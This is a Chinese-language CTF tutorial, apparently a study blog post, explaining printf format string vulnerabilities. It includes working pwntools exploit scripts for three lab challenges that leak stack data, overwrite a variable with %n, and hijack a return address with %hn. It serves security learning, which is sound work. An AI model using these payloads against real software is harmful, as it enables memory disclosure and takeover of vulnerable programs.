仅供个人学习参考

格式化字符串漏洞原理

漏洞来自c语言的printf函数,因为printf函数不会检查参数的个数与格式化字符串的个数是否对应,也就是说,只要有格式化参数在,即使我们没有往printf函数传去参数,它也会默认在栈上向后(向高地址)寻找对应参数并根据格式化字符串来解析,举个栗子

1
prinf("%s%s%s");

我们虽然没有给printf传参,但它依旧会把后面地址(高地址)上的内容作为参数来使用,栈的情况如下图

stack

可以看到,格式化字符串的内容也是放在了栈上,因为我们没有传参,所以printf会把0xffffada8、0xffffada9、0xffffadaa作为参数,根据%s,将其解析并以字符串形式输出
有如下语句

1
printf(buf);

如果我们能控制buf的内容,就可以利用格式字符串漏洞

格式化字符串漏洞利用

泄露栈内存

就像上面举的例子,我们只要多写几个%s,就可将栈上的内,容解析并以字符串形式输出

1
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s")

当然,并非所有栈上的的地址都可以被解析,所以上述方法可能会(且大概率会)造成程序崩溃当然这也是一种攻击手段,只不过作用是让服务器瘫痪

泄露任意地址内存

如果此时栈上存放着got表的某个表项的内容,我们可以利用%s来读取它,并进一步获取libc版本,如果栈上未存放,我们可以将需要的got表表项地址填入栈上(情况与允许的话),然后再读取内容。

修改栈内存

此时我们需要用到 %n 这个格式字符串,其作用是将已经打印出的字节数存放到相应的整形变量上
例:

1
2
3
int a;
printf("ssss%n",&a);
printf("a=%d",a);//输出a=4

我们将a换成所需修改的(栈上的)变量的地址,就可以修改栈内存

修改任意地址内存

原理与修改栈内存一样,换个目标地址就行


覆写小数字:
如果要覆写的数字较小,比如为2(小于四字节),这样即使在32位的情况下,目标地址也占用了4个字节那么%n输出的数据就不会小于4
解决办法:先填入所需覆写的数据大小对应的字符串(如果要覆写成2,就填’aa’),再填入目标地址

1
payload=flat([b'aa',b'%k$naa',addr]) ## k记得根据实际情况改变 n后面的'aa'是为了补全四个字节

此时栈中情况如图

a


覆写大数字
如果要覆写的数字比较大,一般情况下我们无法一次性填入几十甚至几百的字符,此时我们可以利用格式化字符的宽度设置来覆写

1
payload=flat([b'%20c',b'a',addr]) # 此时会在字符'a'前面补19个空格,使得其宽度为20

例题

攻防世界的CGfsb

用ida查看
ida

没有栈溢出,发现存在格式化字符串漏洞,我们的目标是使得pwnme=8,然后即可获得flag
思路:可以往s写入pwnme的地址,然后再利用%n往pwnme写入8

exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process('./printf')

pwnme_addr=0x0804A068
payload=flat([pwnme_addr,b'aaaa',b'%10$n']) ## 10$是指往第十个参数(即printf的第十一个参数,格式化字符串的地址是printf的第一个参数)填入数据,pwnme的地址加上'aaaa'刚好八个字节

sh.sendlineafter('name:',b'jack')
sh.sendlineafter('please:',payload)
sh.interactive()

补:如何看是第几个参数?
gdb中利用x命令来看
x/20wx $esp
意为查看从esp开始的20个字长的内容(以16进制显示)

a

其中0x61616161 为我们先前利用fgets输入的aaaa,根据它和esp间隔的距离(字长数)来判断,图中esp(即为0xffffcff0)与0x61616161 相距10个字长(从左往右数,0xffffd018为0xffffcff0存储的内容,类推),所以填%10$n。

fmtstr

payload还有一种写法,即利用pwntools的fmtstr

1
payload=fmtstr_payload(10,{0x0804A068:8})

10就是和esp间隔的距离(字长数),0x0804A068为需利用%n修改的地址,8为目标数值

64位格式化字符串漏洞

例题:【2017 UIUCTF pwn200 GoodLuck】https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck

漏洞很明显
1

我们先将断点打在printf上,随便输个数据看看情况
先看寄存器,格式化字符串存放在rdi寄存器上
1
然后再看栈
1
可以看到flag放在0x7fffffffde80的地方(打的本地,自己写的flag),栈顶存放printf的返回地址,flag对应栈上的偏移为4(往下数第四行就有),加上寄存器的5(一共有6个来放参数嘛,rdi是第一个),所以总偏移是9 注意: 这里的flag存放在栈上,所以可以这么计算
exp如下:

1
2
3
4
5
from pwn import *
io=process("./goodluck")
payload="%9$s"
io.sendline(payload)
io.interactive()

hijack retaddr

例题:【三个白帽 - pwnme_k0】https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/%E4%B8%89%E4%B8%AA%E7%99%BD%E5%B8%BD-pwnme_k0

发现relro全开,got表只读
11

ida查看,发现格式化字符串漏洞
1
而且有后门函数,考虑利用printf修改retaddress,跳转到后门函数
1
ret的地址通过old rbp的地址减去偏移量来得出,old rbp的地址通过printf泄露

gdb 断点下在printf函数,不难看出rbp偏移为6 ,ret的偏移为7
q
为什么是old rbp? 因为rbp保存的是old rbp的地址,%p取出的是rbp的内容,即old rbp的地址
计算得old rbp与ret的偏移为0x38 ( 0x7fffffffddf0-0x7fffffffddb8)

我们发现ret上存储的地址为0x400d74,与binsh的地址0x04008AA只有后三位不同,所以我们只用%hn修改两个字节
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.arch="amd64"
io=process("./pwnme_k0")
io.recv()
io.send(b'a'*8)
io.recv()
io.sendline("%6$p")#打印old rbp,这边用send的话是打不通的,因为少了一个\n的话下面的io.recvline()会将rbp地址和后面的文字合并在一起,导致ret_addr多了不必要的东西
io.recv()
io.send(b'1')
io.recvuntil("0x")
ret_addr= int(io.recvline(),16) - 0x38
success("ret_addr:"+hex(ret_addr)) #泄露成功就会给出old rbp地址

io.send(b'2')
io.send(p64(ret_addr))
io.send(b"%2218d%8$hn") #2218是0x8aa的十进制形式
io.send(b"1")
io.interactive()